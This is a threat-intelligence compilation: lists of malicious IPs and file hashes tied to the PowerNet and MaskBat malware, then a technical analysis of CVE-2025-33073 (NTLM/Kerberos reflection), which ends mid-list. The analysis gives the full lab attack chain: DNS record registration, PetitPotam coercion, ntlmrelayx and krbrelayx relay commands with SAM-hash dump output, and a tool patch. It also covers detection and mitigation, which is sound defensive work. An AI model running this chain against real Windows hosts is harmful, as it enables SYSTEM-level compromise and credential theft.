85[.]209[.]134[.]64
85[.]209[.]134[.]186
85[.]209[.]134[.]188
85[.]209[.]134[.]209
86[.]104[.]72[.]19
91[.]200[.]14[.]23
94[.]159[.]96[.]222
94[.]159[.]100[.]111
94[.]159[.]100[.]117
103[.]35[.]190[.]215
138[.]124[.]183[.]175
154[.]216[.]20[.]106
185[.]125[.]50[.]209
193[.]32[.]177[.]223
45[.]82[.]84[.]13
62[.]76[.]234[.]49
91[.]149[.]232[.]112
166[.]88[.]159[.]187
172[.]208[.]117[.]89
206[.]206[.]123[.]97
212[.]224[.]107[.]150
166[.]1[.]160[.]118
2[.]58[.]95[.]73
5[.]252[.]176[.]143
5[.]252[.]178[.]150
45[.]140[.]17[.]49
62[.]76[.]234[.]99
62[.]76[.]234[.]234
176[.]32[.]39[.]71
188[.]124[.]59[.]18
188[.]132[.]183[.]172
193[.]23[.]118[.]165
194[.]87[.]82[.]252
195[.]133[.]67[.]165

PowerNet MSIX Hashes

de88ae471d8b95e5e10264aea5eb040fedb9bb71428385e7cff6c77a6ae47d97
a98d6df438ba2615107642c7c6da104de1c9aefdb0f184aead763ae3057c11e9
af3530b841049f90b9f5c818910f1877ef8f89bea0454fe72ada397e9bef1565
37990aecf5fecc61e4b3a3f5eaec14c8ed03cb20681dc53c367d5541600f9312
08d4a681aadff5681947514509c1f2af10ff8161950df2ae7f8ee214213edc17
c8d9270a38a2e6e0659b6b9aab7543add0d1bc521afb51f7dcf68c7426a8d57e
d6fce7c094994b19d96c9ebcccc07b9fb5efda2e4e1da352d9e0e031f0457c5e
547ef48f46ecfe31ee7edc7bbff0c2406f43d11915bcef84372172873012eacd
3cfcb57b94e69372cd2815dc63d66ab4b4ac4fec48b3b092f76ae5c9beaa353f
69d267234d62fd6ffd1c6a12b36835b1454dce4a6df1b370e549e275961ae235
ade52759c6aba1a0aa5b0dd3f779064c1021502bbe944dd704214522fc66707e
a03badf094c46a97711da1494749962168472550f786dbea508cf6978252a2c8
8719ccdb87c8b2c4e312208bd17a8df42a1683c10bb32699bb415a66f0dbdda0
8719ccdb87c8b2c4e312208bd17a8df42a1683c10bb32699bb415a66f0dbdda0
139b48d1b94a9c31a4c7ac1feaa7bf54b50f33ab8936f22404648233bf48cc95
878a3a06aadf6d22a61dc6a160a389b6fd34f6629a32df3407c300bcd7829f4b
b7b7516063052b84f3d240b66630b01d0c098376dba531c5ae9dbcaa1a099820
e77bd0bf2c2f5f0094126f34de49ea5d4304a094121307603916ae3c50dfcfe4
127c691f5a354fa0933ec3e9d9d1bb976c2de7092065d75ea66626c8dc007029
bc5c7fc357244b8cdb1d79c545c4ac5d20ba770d028dd4bc66a00dd4ba2679fa
b3a95ec7b1e7e73ba59d3e7005950784d2651fcd2b0e8f24fa665f89a7404a56
3802c396e836de94ee13e38326b3fb937fcf0d6f6ef9ccdf77643be65de4c8ee
7363086b152422c99618377e384874a17a708d9eb217c0a7c6f8b6f3216f1e4c
63629c87fe460abb657a504bb9786b913b1250288681520cee9e9fbcb14e888f
c399fe7ba04828aeadd881d7daa17dc0e3b880e95cc1aa2295c510f6bd8aa1d4
4c2f8feced7768f756ac7d4fa633b08fd61f0ba198c860fa4f1093dedbf060d2
5838f38e80657dd318bdbcfd1bdb87181e527f2125185ce95b43abd02badea86
802338ddade5c023b83dd2111fe30b7d5b4b21b86408e91544345e0c45702a1d
2c59f3552a77d2c9527970ae99e204ec279756ac24815a899ab43356420057e7
902c9aba42378c40c6c9623bab2326cb8b98fa06cfc0ee0379349055137c9500
e580dd04cbe2407ac7ab06d148297231cffbb8f8f986ce1e152383970927bb71
84f2d273623efb6cdd126a89c1f9567e8977d21ffe684758dd722a27d2d53aa9
ff6d88f53f2a08107c08729f2698f75cc759f3c423fe6e5b99b2c32d7c40f8a4
d73af3bd70f0f68846920d61fab8836cf8906a2876489801f6e130f4d92aa50d
9112b8623844774b056c842da3417f75c86bff115d5d15db2d6226c6ffd98895
0ddce15bea228c65d3b456759de0abc87aa6e805fd6c466347e9b76913a538ce
381c6f7f8c12ea1ac483dad9ac71c09fa807bd1ffe2479f6d6c7da14013e7899
62242df8c7db337e46f44c4323ac9738adba89f095deb8e5d873ee8b35fa5079
f10ecfd0ac437420e8754dbefd9b49c710fe87548ec1350eb2598785b33afec1
bc3f10302a62a5e100a2a31e50a9c32a554d74015f17be2299273d143d2b42de
4f71162cef29a8b7feb56574b99c0eccd82c39d226b408c1e7233971588edee5
58ab8b2a21e33b0700d11efd5a677bd98e536e200b45e22aa06059c1088063f7
96dfb6337647d890875919334a8dfc1f8f6e887f4b9ff6afedfb3574c7b444a3
0c46fd6353f75a8dec81adca9f35e839bd8a7ac9490b947374e3c1e3b24e0f79
50cbf5b9ce69a5c9f9adaf59bf53f4f0609afcba36826e2fa88ca6cedbc06e7a
1f52416232bf57e6cbd8a72335a5f321cf8a571e53b043ee69dc3647d4978844

PowerNet PowerShell Script Hashes

5303183d82b8c4d2a47fab4167868a8cfbf8d56d3397701ab890e88c99105ae4
27567140d447dc662a178989be84d50c40233d6958251c02a02c097f6650024d
73e775fc0e1a4780a06fda4f21cca16c1dd9eda57fc8a0ab4fb14ebe5a259eac
358ac037d444ece8c21fa85ad71338a3ff0a10b1b0672217ae38eac18b03661f
96e20ac7d4b018b360672f3fd9e63d3429bb4dee3974951c70699f44c87278c2
a38f1ccf9d3e29e39fcb01b53fc245eac2128c4219c6567891dba4f6529f98c1
45e0e240b09ec9b1bc488c2eede1cf19456db70398e9b3b0a35ff90e2d2430fe
acbed908bc3e804ad183f3598dfb379a366f6209462f5fffc77fc9231ae1b048
acbed908bc3e804ad183f3598dfb379a366f6209462f5fffc77fc9231ae1b048
e8c56706296175195a03348b9cd5064e60c36fdeaa6e5fd7b5614ca6bca1c3f8
abd4263c97ab33b22f67e581ebb09ec7b98e4084dd32a7eca6502d3737715769
27567140d447dc662a178989be84d50c40233d6958251c02a02c097f6650024d
1367dcf619cb935dc08d349fc18d3f9726cfceff151f4d57beff45591712189c
1367dcf619cb935dc08d349fc18d3f9726cfceff151f4d57beff45591712189c
062c0a5c8f484bc975b3e5490718cc5c7f732f7f53ce35d81e94cd83c273f78b
27567140d447dc662a178989be84d50c40233d6958251c02a02c097f6650024d
2bd6b5cbeddab8b01e14ed4c073afdbd4316340aada77e3e55ba5e1af21652f7
6bd191586c52ecd2a3496616838753db21156d52854a99b7d3fcbf9be0a5184a
1c6c79b07e45630debe31362e4c89ffab3560c4712470f7af891bb31539d153a
acbed908bc3e804ad183f3598dfb379a366f6209462f5fffc77fc9231ae1b048
acbed908bc3e804ad183f3598dfb379a366f6209462f5fffc77fc9231ae1b048
e9b0cc2118a7a07709b56f7358c07f4a2959f81c87da5f565fa08382768fac8b
e145db8668b15278cc55b723df9f296103ef2ea3511d90e2bbb2ffa5291d4ae4
e8c56706296175195a03348b9cd5064e60c36fdeaa6e5fd7b5614ca6bca1c3f8
e145db8668b15278cc55b723df9f296103ef2ea3511d90e2bbb2ffa5291d4ae4
2bd6b5cbeddab8b01e14ed4c073afdbd4316340aada77e3e55ba5e1af21652f7
a38f1ccf9d3e29e39fcb01b53fc245eac2128c4219c6567891dba4f6529f98c1
0d44ff778dbecf8d951c54c199bd35ba0fe5ac817d5ef61b2fe998dfdb794560
6fdeb1c2f4b5bc4ff6ea9635ca72d8670c07cfd17d3b7779caee22b96727f732
34f50a5215c544cbd2ce67bcbf89cf2aee798c56cfb9e225e57e8c8270021210
494460a17bec58d47212c907e7e7706dc80e99b27a022558637caebc2867e574
11464f7ac40e3e5f771dfe19aee3b3d21cf526a11429038ba9de4c9d7e4bb42a
27567140d447dc662a178989be84d50c40233d6958251c02a02c097f6650024d
1c6c79b07e45630debe31362e4c89ffab3560c4712470f7af891bb31539d153a
5303183d82b8c4d2a47fab4167868a8cfbf8d56d3397701ab890e88c99105ae4
bfc1064d3624c7bc68ef6b8ce2b0f40229d5981472c8b443c58f38bf3f461b2a
358ac037d444ece8c21fa85ad71338a3ff0a10b1b0672217ae38eac18b03661f
acbed908bc3e804ad183f3598dfb379a366f6209462f5fffc77fc9231ae1b048
2fd9e14830bbeef24fdff29a850a6164af4c4722d742185e022df9106029b587
3f4b5b22b53f2fdeb7a82c94ac4d846f1e4ac0e9d055020f2f063598025b4674
bfc1064d3624c7bc68ef6b8ce2b0f40229d5981472c8b443c58f38bf3f461b2a
1367dcf619cb935dc08d349fc18d3f9726cfceff151f4d57beff45591712189c
f10bd5443148d47fbf7c6a6998651eb9bda4c7c9213f9e5a65a76e98637cb748
2bd6b5cbeddab8b01e14ed4c073afdbd4316340aada77e3e55ba5e1af21652f7
881a84477b509e2e63b70915055b9af1d12cf8fde9fb5031823c8c2a38c8979a
acbed908bc3e804ad183f3598dfb379a366f6209462f5fffc77fc9231ae1b048

MaskBat MSIX Package Hashes

4b268cfbdb86017f6271f09eb2aa54334de24d0ed12cfeb26fbb3dd8e104a8d3
8d8d21f2c28f3e44b7253583e04d11cf7e7453dab139c187201f80e70d89b579
8684e74d35baab30e8f8af7db486c2a339d3063feb2074109b8c96c1fea8313e
8684e74d35baab30e8f8af7db486c2a339d3063feb2074109b8c96c1fea8313e
6053d67835d2925c52263bdb9e4d7475e1015ea9cc4c8f994cfa7e0dbdb7e27f
52ef3b610426343314e6c0f238e4460f0dffedbd022d33cb8f8e78e980d604e0
52ef3b610426343314e6c0f238e4460f0dffedbd022d33cb8f8e78e980d604e0
50b102938d29cc7f61c67da6981545c69f70c7178d009ec1999ee0ddfe81ebba
974285914961125d2963435c3dbe49b882cd88d95563b1ae3a62cd6240618c16
a309753efca5242bbc9ca0e54a381ef2bac6625a0f591d79f8525e1ec196be4e
1ec930716999f6a80a4f32624d8f907f2c7887e15b1c518d22f4aefe49367bba
c902a206da5c3e1a4b8b8ba9f0e63f314e8cadcf044c25f729176b29c19bcbbb
8515d46da83fb649db969b2acca47cd10f232174af358560210b362a56594fd1
908ef89767bcd583edb96a8c12f3046b9db522cc7310e2c20799881d7bf75f9d
da43703c733a1b0af183fdb61877b5c15651c21ffcc3a49c6addc83d76c10329
91c2fbc594469839ad062e7cf359f2451fe8a14f041d8afe515ceab800c35133
fbe1970d89b8546cd57522bf479e8be08fec4f3df9bdf79d0f3436250ce38379
76f98321f50595725f64f058d8f33103d518c5d77680fd7d5521c41786299358
e4fff1e153ef46a29865f28df724e7a3246809d9ae75a7546b580938acbbcb73
184a400fe334027ff287ad0cf83c165fdf4605507c83ec054fb2b544f877163c
ee6a58d1e3ce4f2e7fac7bb3c1f1c24836bcc79f456035aede52b7d14a7de77f
1d17937f2141570de62b437ff6bf09b1b58cfdb13ff02ed6592e077e2d368252
890cf9827361add4c2a6e5b93f7f9ccc9bb2f555e0cd535de144203f7156a959
3869340562136d1d8f11c304f207120f9b497e0a430ca1a04c0964eb5b70f277
bdd89826ab8d3e3c03833b1ea8e4b0a34c80f13bfa5882e5b82f896cec41d141
c3dc66c657dd5a8a624c6eba67a6b8d1dada8ceeb13aab169c3a88c615831560
ae4db4f97700aab607368a4d3a489215b2ddb5af60004b8da6e5b0c0220c2c25
94bb5b8cc0a2d01d4f65294c816299b97dd38bc7be8fc9089dc90cc969995528
8b7be1efcddddc3a29ae0514a6ae758e7f86be193ffe380e5e1e38dc22affb38
e300c44b45b07f3766586e500f4f3596c23ffd80171eaa5334bb4db3e8d027e0
41c671332b58f92187e32771ed1ba86c1ed256e36f036f74c91cf1aa7db07bc2
f015da1f2ada32f734b81aa282bea62840cd84afaa353ca52d5e2d0c82e705d1
c2f1c765b03b4ae0c08455c2b5e917ba8564ad945c3580a1e622169aad67807a
f4f02429e8e1e966203d69610c31ae94ad4d34de10efd5edc4669ce067c4de4f
3bdaa78077bd71e40b62ec2d6797c027f0b8deba9c3a7de9eb22823ad05c8201
4d03c2a47265eab0c87006a4a2965fcf394fbdabb8e86cbe16b36376d04b8143
b3f46a63817a2076e3de49957d5801eb8ede9dc1498bdab702fcc6f8cccf0e61
50a5e6a357c841e6c2058ee658c70756da4b803f2a4f6d2cf96ab882a03a5294
809b54b0f6092cad1a764872acb9a31ed99792589b84cdb279b4b1d15e8ec8e2
de5f6cc6a3eaee870f438a43e1e262283124aa1cfa11ad395a05c4bff026c09f
809050c6f29e80e9d0918060634df601ae12b27cc50439f4c123b6301ce26043
1e54b2e6558e2c92df73da65cd90b462dcafa1e6dcc311336b1543c68d3e82bc
2ba527fb8e31cb209df8d1890a63cda9cd4433aa0b841ed8b86fa801aff4ccbd
9953bbe13394bc6cd88fd0d13ceff771553e3a63ff84dc20960b67b4b9c9e48e

MaskBat PowerShell Script Hashes

4d0663cff0c5c3f29c81e9aefd37f16a318ff638986ecc60e9bce6c90b72606b
0e71728e5e6a762923fc0372e2047e0d969bcc5efbf4f3010df2ff6576cab725
ebfdea1721914a504465ea474edc3f823c3e13fc71c86f04f4793c61e5070d92
ebfdea1721914a504465ea474edc3f823c3e13fc71c86f04f4793c61e5070d92
2938261c867331e12e7cff9ee28366f3986986108eeb00507db74cf0d7b6aad2
c220f9ba0ee8445ab6d36f19d7cf24fd6df72eea41b9ba40f585451ee24c0f6d
9a4e39fcb4033a9c849890085b67faea7265eaf56744e77aa8180b1834b7e14a
d0add7a41b8c78ab0134752665278b9544d417b244a788c620c5da5215b515c0
5072735b87e62c0239099fcd3d74a677e1b4c6497e0b17ed8ea4c83778c13039
aadf323d8052da80c761ab9d05717603804405ee33e624926009a30d857d6d1a
36b79a3eca6d0ee23daf10c436f4ec5c8c279fbfd79c965c7e37515c148c3c5b
401c5d2157d303df1ca465ff4097ee4474574c39f614cbb5734193a3917354c0
4665c7b360b18496be00246eb3bc886e83b22028e95156101bf73bf0c48dddd3
056451b28c4bfe6bf1536c1d67b33f312a06c656cd3c633f40cc5f5b85c6528b
6b999462e434b258980b1532f5d0c3661646f7bb9567aecdd748f6be10dcb740
0c8b9fa67d1d149636b560a2ec8f9c50cd41ebf11f5691cf2ea39f1d057f8ff1
0c8d22d58a747ceccad56317b9c0afe58fe4b9f3c2138134e978e43a5f5ac390
e2c283438e5f9236c5cb2e6b8b95ca78d520f7b776d64a050664972cb51076f5
a5febb4b5ba6572594de87d2a9de6df65d49da755385bf3d3d4d054772ce493c
c3ecbc6023bfa170c31eaf7033b68495798e305111ca9f2f203f58b9ec942384
8246ba12e1ebfcdbaed80a7ba1ec65423f23b9b7820c0dfb07ee38baa83d6a20
1f38a9e17e5096bca84b6ec87eb5470b2ce4450a6a03b3e41b38dbd91ab281da
e9010ab2a031125f12225d8b1f19ac65bc03b87332dc5caa35028a577b9ca0fe
f4052e52fed661fd05ea39a5187781ec6c234c5d7ea4ab91cd77f2e1d2c709b5
5e9362dba53021ab588e396e1cb28100718471f07c5dd5cafa6bf5728f014b97
13265c0e32312a0763f3f8fed0f017a606355987ac9398bfb38f47c760ad32b0
41be156c27dad780dd96493319dbd89228616573ec7d731ca2e642ee0e554af3
58cb66268b58d7ca77fb5f5df668ffa76a23854a6267914fc3973dbf92394612
8d5d4e48ce623085efec9a56981b0ab74f1180f3b42614df88f11da543f2849a
c5fa7fd1ff45c5cfaec851795f4c2e15326046f3022778bdf6f37b7b1dd75f5c
c6e672b832dcf78490ea8d128f5f8a647274b9b98d851bc36ff07b2d3a0d7ba3
191a8766da98b1f992072045905cf82c771d8cb9f697d08873686778dc70c7f6
982ec3915d458007e960a4dbe0c9c914825fd88c1739ab3f7edfebaaa10bc265
710e80fb64e08f20ab58c20ccdbc966f6e3b54511775e8ed99ff0bcf51690227
4814ea15da1826d9ef400c3e607ca87d11b18b8a1b4f43f13afa93467429dfb8
952cac8ec226b4ed38a2631c220bb80409edbc0c9a0ac2793b879a259172282b
c220f9ba0ee8445ab6d36f19d7cf24fd6df72eea41b9ba40f585451ee24c0f6d
f491d8b510ee283d24d40aa5233743d8cf834a164d0f681af8870dd1f35b734c
a67d73996a5479312f4a4ea4fccdde293695359aa6b6da06c01248066a7131f9
194d739fa93970d63dade70aae7c3b9ac8a6938be9f0e2d470d3adf8c106bfad
3c6dacad931bf24eb953858c0bb3e49fe821d111d9003c9fffcb814ae6e8edf8
65b601f8154bddd42cb31ce166697335e79f2e713655865bee66654c51e7c1dc
b417396efb07943d380182d610da313607308a74fc0dc77318407a5248cbab6e
81e6adebca376dfbda0484ab4475d0ac76a1e86afe0930e45ab7137cfd378d38

Original link: https://www.recordedfuture.com/research/grayalpha-uses-diverse-infection-vectors-deploy-powernet-loader-netsupport-rat

NTLM reflection is dead, long live NTLM reflection! – An in-depth analysis of CVE-2025-33073

Summary

This research highlights the persistent threat of NTLM reflection attacks, a class of vulnerability previously thought to be largely mitigated by a series of Microsoft patches, including MS08-68, MS09-13, and MS15-076. Despite these historical fixes that addressed vectors like SMB-to-SMB, HTTP-to-SMB, and DCOM-to-DCOM reflection, this analysis demonstrates that bypasses are still achievable through a deep understanding of existing mitigation mechanisms. The researchers were motivated by a public demonstration of Kerberos reflection, leading to their own investigation into authentication reflection. This accidental discovery, identified as CVE-2025-33073, is officially described by Microsoft as an elevation of privilege, but in practice, it functions as an authenticated remote command execution as SYSTEM on target machines where SMB signing is not enforced. The detailed analysis, which involved significant exploration of LSASS internals, underscores the critical importance of defense-in-depth strategies, such as enforcing SMB signing, as these mitigations can be exceptionally effective even against previously unknown vulnerabilities (zero-days).

Technical Details

This section provides an in-depth operational threat intelligence summary of CVE-2025-33073, focusing on the attack’s Tactics, Techniques, and Procedures (TTPs), the tools used, and the underlying technical mechanisms exploited.

Attack Vector and Initial Coercion: The vulnerability leverages a special case of NTLM authentication relay known as NTLM reflection, where the coerced authentication is relayed back to the originating machine. The attack begins with coercing a victim machine (e.g., SRV1) to authenticate to an attacker-controlled server. The PetitPotam.py tool is used for this coercion, specifically targeting a SYSTEM service like lsass.exe. Initially, when a direct IP address (e.g., 192.168.56.3) is used as the listener for the coerced authentication, the relay fails, as Microsoft has previously patched SMB-to-SMB NTLM reflection.

Bypassing Mitigations via Marshalled Target Information: The key to bypassing existing mitigations lies in the use of a specially crafted DNS record. The researchers registered a DNS record in the format srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA, pointing to their attack machine’s IP address. This specific format, originally documented by James Forshaw, is designed to coerce machines into authenticating via Kerberos to a controlled IP. When the PetitPotam.py tool coerces SRV1 using this DNS record as the listener, the authentication relay unexpectedly succeeds. The ntlmrelayx.py tool is then used to relay this authentication, which allows the attacker to remotely dump the Security Account Manager (SAM) hive, indicating that the relayed identity possessed privileged access on the machine. This was surprising because the machine account, which is typically the identity coerced by PetitPotam from lsass.exe, is generally not privileged on its own associated machine.

The observed commands for the successful NTLM relay were:

$ dnstool.py -u 'ASGARD.LOCAL\loki' -p loki 192.168.56.10 -a add -r srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -d 192.168.56.3
[-] Adding new record
[+] LDAP operation completed successfully

$ PetitPotam.py -u loki -p loki -d ASGARD.LOCAL srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA SRV1.ASGARD.LOCAL
[-] Sending EfsRpcEncryptFileSrv!
[+] Got expected ERROR_BAD_NETPATH exception!!
[+] Attack worked!

# ntlmrelayx.py -t SRV1.ASGARD.LOCAL -smb2support
[*] Servers started, waiting for connections
[*] SMBD-Thread-5 (process_request_thread): Received connection from 192.168.56.14, attacking target smb://SRV1.ASGARD.LOCAL
[*] Authenticating against smb://SRV1.ASGARD.LOCAL as / SUCCEED
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x0c10b250470be78cbe1c92d1b7fe4e91
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:df3c08415194a27d27bb67dcbf6a6ebc:::
user:1000:aad3b435b51404eeaad3b435b51404ee:57d583aa46d571502aad4bb7aea09c70:::
[*] Done dumping SAM hashes for host: 192.168.56.14

Understanding Local NTLM Authentication (NTLM Side): Network captures revealed that with the special DNS record, NTLM local authentication occurred, unlike the standard NTLM authentication observed when an IP was used. In local NTLM authentication, the server signals to the client (via the NTLM_CHALLENGE message) that there’s no need to compute a challenge response. This is achieved by setting the “Negotiate Local Call” (0x4000) flag and including a context ID in the Reserved field. The client, upon receiving this, understands to perform local NTLM and inserts its token directly into the server context. Since both client and server are on the same machine, this interaction occurs within the same lsass.exe process.

The server’s decision to initiate local NTLM authentication hinges on two fields in the NTLM_NEGOTIATE message: the workstation name and domain. The msv1_0!SsprHandleNegotiateMessage function checks if the client-supplied workstation and domain names match the current machine’s names. If they match, the NTLMSSP_NEGOTIATE_LOCAL_CALL flag is set. When the relay worked, the NTLM_NEGOTIATE message contained “ASGARD” as the domain and “SRV1” as the workstation name, which are the target machine’s actual details. The client, due to the marshalled DNS record srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA, internally interprets it as an equivalent to localhost and provides these matching details.

Root Cause (NTLM Privilege Escalation): The SMB client (mrxsmb.sys) initiates the authentication by calling ksecdd!AcquireCredentialsHandle and then ksecdd!InitializeSecurityContextW. The specially crafted DNS record results in a target name like cifs/srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA. The lsasrv!LsapCheckMarshalledTargetInfo function (which calls CredUnmarshalTargetInfo) then strips the marshalled target information, transforming the target name to cifs/srv1.

Next, msv1_0!SpInitLsaModeContext (part of the NTLM authentication package) calls msv1_0!SsprHandleFirstCall to craft the NTLM_NEGOTIATE message. Inside this function, msv1_0!SspIsTargetLocalhost determines if the target name corresponds to the current machine by comparing the part after the service class (e.g., srv1) with the machine’s FQDN (SRV1.ASGARD.LOCAL), hostname (SRV1), or localhost. In this case, srv1 (after stripping) matches SRV1 (case-insensitive). The workstation and domain names are included in the NTLM_NEGOTIATE message if three conditions are met:

1. The target is the current machine (as determined by msv1_0!SspIsTargetLocalhost).
2. The client did not request NULL authentication.
3. The current user’s credentials are being used (no explicit credentials were specified). All these conditions were true, leading the SMB client to signal for local NTLM authentication.

The critical privilege escalation occurs because PetitPotam coerces lsass.exe, which runs as SYSTEM, into authenticating to the attacker’s server. When lsass.exe receives the NTLM_CHALLENGE for local NTLM authentication, it directly copies its SYSTEM token into the server context. The server then retrieves this SYSTEM token from the context and impersonates it to perform high-privileged actions via SMB, such as using the Remote Registry service to dump the SAM hive. A bonus finding demonstrated that localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA could also be used, as it similarly reduces to localhost after stripping, allowing for broader compromise.

Kerberos Reflection Investigation: The researchers also investigated if Kerberos was susceptible to a similar reflection. Using krbrelayx.py with the same srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA DNS record, NTLM authentication was initially negotiated instead of Kerberos, even though krbrelayx.py advertises Kerberos support. This is due to the Negotiate authentication package’s workflow: if the server supports both Kerberos and NTLM, and the client detects the target is the current machine, NTLM is preferred for local NTLM authentication. The lsasrv!NegpIsLoopback function is responsible for this loopback detection, functioning similarly to msv1_0!SspIsTargetLocalhost. By removing the NTLM mechtype from krbrelayx.py’s advertised types (specifically, by patching krbrelayx/lib/servers/smbrelayserver.py to exclude MechType(TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'])), Kerberos authentication was forced and the relay successfully allowed SAM hive dumping.

The observed commands for the successful Kerberos relay after patching krbrelayx.py were:

$ PetitPotam.py -u loki -p aloki -d ASGARD.LOCAL srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA SRV1.ASGARD.LOCAL
[-] Sending EfsRpcEncryptFileSrv!
[+] Got expected ERROR_BAD_NETPATH exception!!
[+] Attack worked!

# krbrelayx.py -t SRV1.ASGARD.LOCAL -smb2support
[*] Servers started, waiting for connections
[*] SMBD: Received connection from 192.168.56.13
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x2969778d862ac2a6df59a263a16adbd1
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:04e87eb3e0d31f79a461386dfe9c7500:::
user:1000:aad3b435b51404eeaad3b435b51404ee:57d583aa46d571502aad4bb7aea09c70:::
[*] Done dumping SAM hashes for host: srv1.asgard.local

Root Cause (Kerberos Privilege Escalation): Unlike NTLM, Kerberos does not have a built-in “local mode”. The vulnerability in Kerberos relies on how subkeys and tokens are handled for SYSTEM/NETWORK SERVICE accounts. When the SMB client negotiates Kerberos, kerberos!SpInitLsaModeContext is called, which in turn calls kerberos!KerbBuildApRequest and kerberos!KerbMakeKeyEx to generate a subkey. This subkey is an encryption key used after authentication and is inserted into the authenticator part of the AP-REQ. Crucially, if the authenticating user is NT AUTHORITY\SYSTEM (LUID 0x3E7) or NT AUTHORITY\NETWORK SERVICE (LUID 0x3E4), kerberos!KerbCreateSKeyEntry is called. This function creates a subkey entry containing the current user’s LUID, the subkey, its expiration time, and the current user’s token, then adds it to the kerberos!KerbSKeyList global list. When the server receives the AP-REQ, kerberos!SpAcceptLsaModeContext processes it. An interesting check occurs within kerberos!KerbCreateTokenFromTicketEx: if the client name extracted from the ticket equals the machine name (kerberos!KerbGlobalMachineServiceName), kerberos!KerbDoesSKeyExist is called. This function checks if the AP-REQ subkey exists in kerberos!KerbSKeyList and, if so, verifies if the associated logon ID corresponds to NT AUTHORITY\SYSTEM. If this condition (IsSystem is true) is met, then kerberos!KerbMakeTokenInformationV3 sets the User field of the new token information to SYSTEM and adds the local administrator SID to the groups field. Finally, lsasrv!LsapCreateTokenEx creates and associates this SYSTEM token with the client.

Patch Analysis for CVE-2025-33073: Microsoft’s patch for CVE-2025-33073, described as an SMB client vulnerability, primarily modifies the mrxsmb.sys kernel driver. The key change is the addition of a call to ksecdd!CredUnmarshalTargetInfo at the beginning of the mrxsmb!SmbCeCreateSrvCall function, which is invoked when attempting to access an SMB resource. The ksecdd!CredUnmarshalTargetInfo function is designed to fail if the target name does not contain correctly formatted marshalled target information, or if it is entirely absent. By adding this check, the patch prevents any SMB connection from being established if the use of a target name with marshalled target information is detected. This effectively fixes both the NTLM and Kerberos exploitation vectors detailed in the research, as both relied on this specific DNS record format containing marshalled target information.

Countries

The provided sources do not specify any particular targeted countries. The example uses a fictional domain, ASGARD.LOCAL.

Industries

The provided sources do not specify any particular targeted industries.

Recommendations

• Apply Microsoft’s Official Advisory: For the precise and comprehensive fix for CVE-2025-33073, organizations should refer to Microsoft’s official advisory.
• Enforce SMB Signing: To prevent current and future vulnerabilities related to authentication relay over SMB, it is crucial to enforce SMB signing on all machines whenever possible. This mitigation is highly effective and would have prevented the exploitation of CVE-2025-33073 even without applying the specific patch. SMB signing ensures the integrity and authenticity of SMB communications, making relay attacks significantly harder or impossible.

Hunting methods

While the sources do not provide specific YARA, Sigma, KQL, SPL, IDS/IPS, or WAF rules, the technical details of the vulnerability offer several strategic hunting methods for detection:

• DNS Monitoring for Malicious Records:
  • Logic: The attack relies on registering specific, unusually formatted DNS records (e.g., srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA or localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA) to coerce authentication and trigger loopback detection. Monitoring DNS registrations or queries for such patterns can indicate malicious activity.
  • Potential Query Logic (Conceptual): Look for DNS records or queries containing long, arbitrary-looking strings concatenated with legitimate hostnames or localhost, particularly those containing UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA.
• Network Traffic Analysis for NTLM Local Call Flag:
  • Logic: Successful NTLM reflection relies on the server setting the NTLMSSP_NEGOTIATE_LOCAL_CALL (0x4000) bit in the NTLM_CHALLENGE message, indicating local NTLM authentication. This flag is set when the client provides its own workstation and domain name in the NTLM_NEGOTIATE message.
  • Potential Query Logic (Conceptual): Analyze NTLM network traffic. Look for NTLM_CHALLENGE messages where the Negotiate flags field has the 0x4000 bit set, especially when the initiating client is also the target server (i.e., a reflection scenario). Correlate this with NTLM_NEGOTIATE messages that explicitly contain the client’s workstation and domain name, rather than NULL fields.
• Monitoring of LSASS Process Behavior and Privilege Escalation:
  • Logic: The lsass.exe process, running as SYSTEM, is coerced into authenticating. The core of the vulnerability is that its SYSTEM token is then copied or impersonated. This allows the attacker to dump sensitive information like SAM hashes via services like Remote Registry.
  • Potential Query Logic (Conceptual):
    • Monitor for lsass.exe initiating outbound SMB or Kerberos authentications, particularly when these originate from a SYSTEM account.
    • Look for attempts by a machine account (e.g., SRV1$) to perform privileged actions on its own machine, such as accessing the Remote Registry service to read sensitive hives (e.g., SAM, SECURITY). This behavior is unexpected for a machine account under normal circumstances but is a direct outcome of the SYSTEM token impersonation.
    • Track modifications to services (e.g., RemoteRegistry being started if it was stopped) immediately preceding SAM hash dumping activity.
• SMB Client Behavior Anomalies:
